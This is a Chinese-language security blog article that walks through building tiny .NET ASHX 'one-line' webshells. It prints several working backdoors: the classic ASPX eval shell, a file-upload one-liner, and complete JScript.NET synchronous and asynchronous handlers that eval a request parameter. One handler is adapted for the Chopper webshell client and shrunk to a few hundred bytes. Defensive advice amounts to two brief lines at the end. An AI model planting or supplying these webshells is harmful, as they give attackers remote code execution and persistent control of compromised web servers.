freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

探索基于.NET下实现一句话木马之ashx篇
2018-07-17 12:07:47

0x01 前言

在渗透测试的时候各种PHP版的一句话木马已经琳琅满目,而.NET平台下的一句话木马则百年不变,最常见的当属下面这句

<%@Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

想必这句话已经成大多数防御产品的标准样本,除此以外还有上传文件的一句话,像这种的从严格意义上不能算是一句话木马,只是一个简单的上传文件的功能,实际的操作还是大马或者小马的操作行为。

<%if(Request.Files.Count!=0) {Request.Files[0].SaveAs(Server.MapPath(Request["f"]) ); }%>
笔者感觉有必要挖坑一下.NET平台里的一句话木马,经过一番摸索填坑终于可以总结出了.NET下的三驾马车,于是乎有了这个系列的文章。今天是第一篇着重介绍一般处理程序(ASHX)下的工作原理和如何实现一句话木马的介绍,当然介绍之前笔者找到了一款ashx马儿 https://github.com/tennc/webshell/blob/master/caidao-shell/customize.ashx 
01.png

这个马儿已经实现了菜刀可连,可用,还是挺棒的,但因为体积过大,并且在服务端实现了大多数功能,其实更像是一个大马,只是对客户端的菜刀做了适配可用,所以不能说是一句话木马了,至于要打造一款居家旅行必备的菜刀马,还得从原理上搞清楚 ashx的运行过程。

0x02 简介

从Asp.Net 2.0开始,Asp.Net提供了称为一般处理程序的处理程序,允许我们使用比较简单的方式定义扩展名为ashx的专用处理程序。对于Asp.Net应用来说,网站最快的处理结果就是HTML网页,生成网页的工作通常使用扩展名为Aspx的Web窗体来完成。对于处理结果不是HTML的请求,都可以通过一般处理程序完成。例如生成RSS Feed、XML、图片等。 一般处理程序是Asp.Net应用中最为简单、高效的处理程序,在处理返回类型不是HTML的请求中有着重要的作用。通常是实现IHttpHandler接口,因为不必继承自Page类,所以没有那么多事件需要处理,不必消耗太多资源,所以性能方面要比Aspx高。

当Http请求进入 Asp.Net Runtime以后,它的管道由托管模块(NOTE:Managed Modules)和处理程序(NOTE:Handlers)组成,并且由管道来处理这个 Http请求。

02.pngHttpRuntime将Http请求转交给 HttpApplication,HttpApplication代表着程序员创建的Web应用程序。HttpApplication创建针对此Http请求的 HttpContext对象,这些对象包含了关于此请求的诸多其他对象,主要是HttpRequest、HttpResponse、HttpSessionState等。这些对象在程序中可以通过Page类或者Context类进行访问,而接下来的一句话木马就是通过Context类进行请求交互的。 

0x03 一句话的实现

3.1、同步处理:IHttpHandler

首先可以打开C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\CONFIG\目录下的web.config 文件,找到httpHandlers结点,应该可以看到如下这样的代码

03.png


.Net Framework在处理Http请求时的所采用的默认Handler。而如果我们要用编程的方式来操控一个Http请求,我们就需要实现IHttpHandler接口,来定制我们自己的需求。IHttpHandler的定义是这样的:

public interface IHttpHandler

{

bool IsReusable { get; }

void ProcessRequest(HttpContext context);

}


由上面可以看出IHttpHandler要求实现一个方法和一个属性。其中 ProcessRequest,从名字(处理请求)看就知道这里应该放置我们处理请求的主要代码。IsReusable属性,MSDN上是这样解释的:获取一个值,该值指示其他请求是否可以使用 IHttpHandler 实例。也就是说后继的Http请求是不是可以继续使用实现了该接口的类的实例。如果返回true,则HttpHandler能得到重用,或许某些场合下,是可以达到性能优化的目的。但是,它也可能会引发新的问题:HttpHandler实例的一些状态会影响后续的请求,也正是由于这个原因在默认情况下,都是不重用的。在通常情况下,当实现IsReusable时返回false,虽然性能上不是最优,但却是最安全的做法。

了解了基本原理后,笔者开始手动打造一句话小马,这个马儿要和PHP或者同胞兄弟Aspx一样,仅仅在服务端存放体积很小的一段代码,参考Aspx一句话木马的实现原理,发现是基于Jscript.Net语言中的eval方法去执行任意字符串的,所以首当其冲考虑用Jscript,并且需要实现IhttpHandler这个接口,查询资料后得到在Jscript.Net和VB.Net中均采用implements去实现,最终写出一句话木马服务端代码:

<%@ WebHandler Language="JScript"class=" HandlerSpy "%>

import System;

import System.Web;

import System.IO;

public class HandlerSpy implements IHttpHandler{

   functionIHttpHandler.ProcessRequest(context : HttpContext){

           context.Response.Write("<H1>Just for fun, Do not abuse it!Written by <ahref='https://github.com/Ivan1ee'>Ivan1ee</a></H1> ");

           eval(context.Request["Ivan"]);

        }

    functionget IHttpHandler.IsReusable() : Boolean{

            return false;

       }

}


这里有必要简单的介绍一下Jscript.Net的语法;和大多数语言类似导入命名空间也是通过Import,以下摘自微软描述

import 语句在名称提供为 namespace 的全局对象上创建属性并将其初始化,以包含对应于所导入命名空间的对象。任何使用 import 语句创建的属性都不能赋给其他对象、删除或枚举。 所有 import 语句都在脚本开始时执行。

方法名中的参数和类型之间用冒号分割 ,一对括号外的是返回的类型 。可参考下图

04.png如果要访问类中的属性,需使用 functionget 语句,可参考下图

05.png

script简单语法就介绍到这里,更多的语法可参考微软官方文档:https://docs.microsoft.com/zh-cn/previous-versions/visualstudio/visual-studio-2010/z688wt03(v%3dvs.100)

 万事俱备,打开浏览器输入 context.Response.Write(DateTime.Now.ToString())成功打印出当前时间

06.png

3.2、异步处理:IHttpAsyncHandler

在ASP.NET程序中,适当地使用异步是可以提高服务端吞吐量的。这里所说的适当地使用异步,一般是说:当服务器的压力不大且很多处理请求的执行过程被阻塞在各种I/O等待(以网络调用为主)操作上时,而采用异步来减少阻塞工作线程的一种替代同步调用的方法。 反之,如果服务器的压力已经足够大,或者没有发生各种I/O等待,那么,在此情况下使用异步是没有意义的。那么在HttpHandler的接口里要想支持异步,则必须使用另一个接口:IhttpAsyncHandler 

07.png这个接口也很简单只有二个方法,在.net中,异步都是建立在IAsyncResult接口之上的,而BeginProcessRequest /EndProcessRequest是对这个接口最直接的使用方式。笔者通过创建一个C#的Demo来演示异步处理的过程

public class ashxSpy1 : IHttpAsyncHandler

    {

        public delegate void someDelegate();

        public static void writeFile()

        {

            StreamWriter wickedly =File.CreateText("d:\\test.txt");

            wickedly.Write("test");

            wickedly.Flush();

            wickedly.Close();

        }

        public IAsyncResult BeginProcessRequest(HttpContext context, AsyncCallbackasyncCallback, object obj )

        {

            someDelegatesomeDelegate = new someDelegate(writeFile);

            IAsyncResultiAsyncResult = someDelegate.BeginInvoke(asyncCallback, context);

            return iAsyncResult;

        }

        public voidEndProcessRequest(IAsyncResult result){}

        bool IHttpHandler.IsReusable

        {

            get { return true; }

        }

        void IHttpHandler.ProcessRequest(HttpContext context){}

    }


值得注意的是ProcessRequest方法和IsReusable属性可以不实现它们,但必须要保留下来,因为这个方法也是接口的一部分。核心方法是BeginProcessRequest,其中参数asyncCallback是一个内部委托,那么就需要定义一个委托,将来通过异步的方式回调自定义的方法writeFile 来写入文件。

知道原理后就开始着手打造异步调用的一句话木马,和IhttpHandler一样需要通过Jscript.Net的eval方法去实现代码执行,有点遗憾之处笔者查询资料后发现Jscript.Net暂时不支持委托类型,不过只需要在BeginProcessRequest方法里增加HttpContext.Current.Response.End();就可以实现功能并且不让程序抛出异常,实现的代码如下:

<%@ WebHandler Language="JScript"class="AsyncHandlerSpy"%>

import System;

import System.Web;

import System.IO;

public class AsyncHandlerSpy implementsIHttpAsyncHandler{ 

function IHttpAsyncHandler.BeginProcessRequest(context: HttpContext,asyncCallback :AsyncCallback , obj : Object ) : IAsyncResult {

context.Response.Write("<H1>Just for fun,Do not abuse it! Written by <ahref='https://github.com/Ivan1ee'>Ivan1ee</a></H1>");

eval(context.Request["Ivan"]);

HttpContext.Current.Response.End();

}

functionIHttpAsyncHandler.EndProcessRequest(result : IAsyncResult){}

functionIHttpHandler.ProcessRequest(context : HttpContext){}  

function get IHttpHandler.IsReusable() :Boolean{return false;}

}

打开浏览器,测试效果如下

08.png

0X04 菜刀连接

圈内常说武功再高,也怕菜刀;那么就有必要了解一下菜刀在连接ASPX的时候会发送什么数据了,经过抓包得到下图的请求

09.png对于.NET平台的应用程序默认连接后发送的可执行字符串是Response.Write,而这样的输出需要继承的对象是Page类,所以至今为止,在菜刀的层面.NET下仅支持ASPX,再来看一般处理程序中已经继承了HttpContext对象实例化后的变量context,由此可以构造出

var I = context;

var Request = I.Request;

var Response = I.Response;

var Server = I.Server;

eval(context.Request["Ivan"]);


修改好后用菜刀连接成功,如下图

101.png基于优化考虑将HandlerSpy.ashx进一步压缩体积后只有531字节,而AsyncHandlerSpy.ashx也才719字节。

102.png

0x05 防御措施

1.   通过菜刀连接的方式,添加可以检测菜刀关键特征的规则;

2.   对于Web应用来说,尽量保证代码的安全性; 

0x06 小结

1.    文章中不足之处在于Jscript异步处理的时候没有能够用委托的方式去调用,这是一个遗憾,如果有同学提出了更好的解决方法,欢迎多多交流;

2.    还有本文提供了两种方式实现ashx一句话的思路,当然还有更多编写一句话的技巧有待发掘,下次将介绍另外一种姿势,敬请期待;

3.    文章的代码片段请点这里 

0x07 参考链接

https://docs.microsoft.com/zh-cn/previous-versions/visualstudio/visual-studio-2010/e2h4yzx6%28v%3dvs.100%29

http://www.freebuf.com/articles/web/11687.html

# .Net # .NET Framework
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者